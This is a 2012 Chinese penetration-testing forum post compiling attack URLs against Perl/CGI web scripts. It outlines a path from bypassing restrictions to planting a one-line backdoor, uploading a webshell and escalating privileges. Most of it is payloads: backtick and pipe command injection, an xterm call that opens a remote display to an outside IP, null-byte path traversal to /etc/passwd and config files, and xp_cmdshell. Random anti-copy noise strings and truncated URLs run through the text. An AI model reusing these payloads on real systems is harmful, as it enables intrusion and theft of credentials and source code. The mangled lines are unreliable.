中国网络渗透测试联盟
标题:
CGI资料整理
[打印本页]
作者:
admin
时间:
2012-9-13 16:56
标题:
CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
+ N0 v: L% @- }. }3 ?) Y7 {
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
9 D. W) R$ H* N3 ^: e
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
, x' X# }- X* }) Q5 ]
注“
" W Z$ y. O2 D7 Z9 m0 L; i
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
8 X! v; `% k; I/ q4 @; v/ q
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
2 r, a, T8 ^5 h) Y- A% S- k
% t' X+ u4 i, _0 K
http://target.com/cgi-bin/home/news/sub.pl?12
随意构造
* C, D8 R9 S# z: M( ]) n& [
http://target.com/cgi-bin/home/news/sub.pl?&
换个字符,也许可以执行呢
0 b% x; `" {9 ~
http://target.com/cgi-bin/home/news/sub.pl?`ls`
单引号
. x% j* s. h; j5 c& A6 n
http://target.com/cgi-bin/home/news/sub.pl?`id`
! W* a. b2 I& v" W' c/ `
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
6 X& I& W4 B. S8 Z$ B, {1 [* |
http://target.com/cgi-bin/home/news/sub.pl?`cat
<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
) ]- q3 `& y! o* K0 N
7 V1 p+ v6 |6 [$ n
http://target.com/test.pl;ls
|
, K c: ^( v3 a0 K5 P: z+ C- ~
http://target.com/index.cgi?page=
|ls+-la+/%0aid%0awhich+xterm|
& ^* a) b/ Z y9 Z
http://target.com/index.cgi?page=
|xterm+-isplay+10.0.1.21:0.0+%26|
' @* j% W1 n; @$ d- q
http://target.com/test.pl?
’id’ 类似’’内的操作和命令执行自己构造
& Y5 }: u9 J6 c1 i1 ~# @/ h
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
6 p# F' w) g+ I- i/ R. |
http://target.com/index.cgi?page=;dir+c:
\|&cid=03417 类似asp的Sql injection
% D b; y( T) F
, w5 v. H) u2 \' ^
http://target.com/test.pl?&........
/../../etc/passwd
8 N& y1 N# o' O1 p/ A% k
- ~" x: d: m4 W' Z
http://www.target.org/cgi-bin/cl
... info.pl?user=./test 前面加./
& j% d% N0 P( T6 ^/ e! T! v1 b
http://www.target.org/cgi-bin/cl
... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
/ k1 W, U9 l0 l. H9 p9 z
http://www.target.org/cgi-bin/cl
... ../../etc/passwd%00
5 T+ O( U& W1 x5 A$ H( }" Z" V
, H, q) Y7 L8 L. u9 i
http://www.target.org/show.php?f
... /include/config.php 查看php代码
: e; |/ t% R, W4 m: _
http://www.target.org/show.php?f
... ng/admin/global.php
1 u! }& M! U2 V3 j" P
, H$ O5 o* L. N2 ~6 z& m* r' P
emm和ps的一句话
; j+ t- C. g4 P9 r5 b# w9 _
# p! X$ d8 j+ \% J* `- b' a
http://www.target.org/cgi-bin/cl
... /../../../bin/ls%20
! b1 W9 T# L/ |+ U( K# R [) j0 K) f
! P+ C8 w- t1 l. t
>bbb%20|
, p! y) o3 o. i8 |8 z. }/ \
3 P5 H- |% \9 m/ L
http://www.target.org/cgi-bin/club/scripts
\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
S6 ]" Q& y" E6 R* j, l2 \
9 Z7 ^7 `" q* W& _4 v/ S
http://www.target.org/cgi-bin/cl
... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
1 Y5 U- d) A; |2 z' S
http://www.target.org/csapi/..%c0%afhttp/china.sh
”+.elf?”+&+ls+/bin
/ y$ N- x4 h7 N- S1 a9 |( x
! p2 L, m; O% y9 a/ i
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
0 |; z0 |9 N' `
http://target.com/index.html#cmd.exe
9 X0 B6 a) Q0 _# P* U1 h
http://target.com/index.html?dummyparam=xp_cmdshell
) z% r7 L+ c- u/ F$ t
lynx
http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
* o* V0 e _% {' M5 A2 ^
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2